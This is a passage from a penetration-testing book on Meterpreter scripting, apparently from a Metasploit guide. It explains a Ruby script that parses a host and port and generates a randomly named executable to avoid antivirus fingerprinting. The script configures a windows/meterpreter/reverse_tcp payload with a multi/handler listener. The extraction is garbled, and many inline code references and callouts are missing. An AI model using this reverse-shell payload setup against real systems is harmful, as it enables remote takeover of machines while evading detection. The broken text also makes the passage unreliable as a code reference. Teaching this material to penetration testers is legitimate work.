background image

Meterpreter Scripting


This should look somewhat familiar, because it’s almost exactly the same 

as the example from Carlos Perez that appeared earlier in the chapter. The 
help message is defined with 


 at  , and 




 are specified for the 

remote IP address   and port number   we’ll need for our new Meterpreter 
executable. Note that a 


 statement is included; this indicates that these 

fields are required.

Next, we define the variables we want to use throughout the script. We’ll 

call the 


 function to create a unique executable 

name every time it’s called. This is efficient, because we don’t want to assign 
an executable name statically, which would “antivirus fingerprint” the attack. 
We’ll also configure each argument so that it either assigns a value or prints 
information with, for example, the 



filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
rhost    = Rex::Socket.source_address("")
rport    = 4444
lhost    = ""
pay      = nil

# Option parsing
opts.parse(args) do |opt, idx, val|
        case opt
        when "-h"
                raise Rex::Script::Completed

        when "-r"
                rhost = val
        when "-p"
                rport = val.to_i



Notice that we broke out each argument and assigned values or print infor-

mation back to the user. The 

rhost = val

   means “take the value presented 

from the user when 


 was input.” The 

rport = val.to_i

   simply assigns the 

value as an integer (it will always need to be an integer for a port number).

In the next series, we define everything we need to create our payload:

payload = "windows/meterpreter/reverse_tcp"
pay = client.framework.payloads.create(payload)

pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
mul = client.framework.exploits.create("multi/handler")
mul.datastore['WORKSPACE'] = client.workspace